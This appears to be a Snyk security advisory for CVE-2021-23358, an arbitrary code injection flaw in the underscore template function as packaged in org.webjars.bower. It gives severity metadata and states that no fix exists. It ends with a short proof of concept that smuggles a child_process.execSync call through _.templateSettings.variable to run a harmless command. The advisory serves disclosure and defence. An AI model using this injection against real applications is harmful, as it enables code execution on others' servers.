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Arbitrary Code Injection Affecting org.webjars.bower:underscore Open this link in a new tab package, versions [0,]

0.0
medium

  • Exploit Maturity

    Proof of concept

  • Attack Complexity

    High

  • Privileges Required

    High

  • Confidentiality

    High

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  • snyk-id

    SNYK-JAVA-ORGWEBJARSBOWER-1081504

  • published

    29 Mar 2021

  • disclosed

    2 Mar 2021

  • credit

    Alessio Della Libera (@d3lla)

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Introduced: 2 Mar 2021

CVE-2021-23358 Open this link in a new tab
CWE-94 Open this link in a new tab

How to fix?

There is no fixed version for org.webjars.bower:underscore.

Overview

org.webjars.bower:underscore is a JavaScript's functional programming helper library.

Affected versions of this package are vulnerable to Arbitrary Code Injection via the template function, particularly when the variable option is taken from _.templateSettings as it is not sanitized.

PoC

const _ = require('underscore');
_.templateSettings.variable = "a = this.process.mainModule.require('child_process').execSync('touch HELLO')";
const t = _.template("")();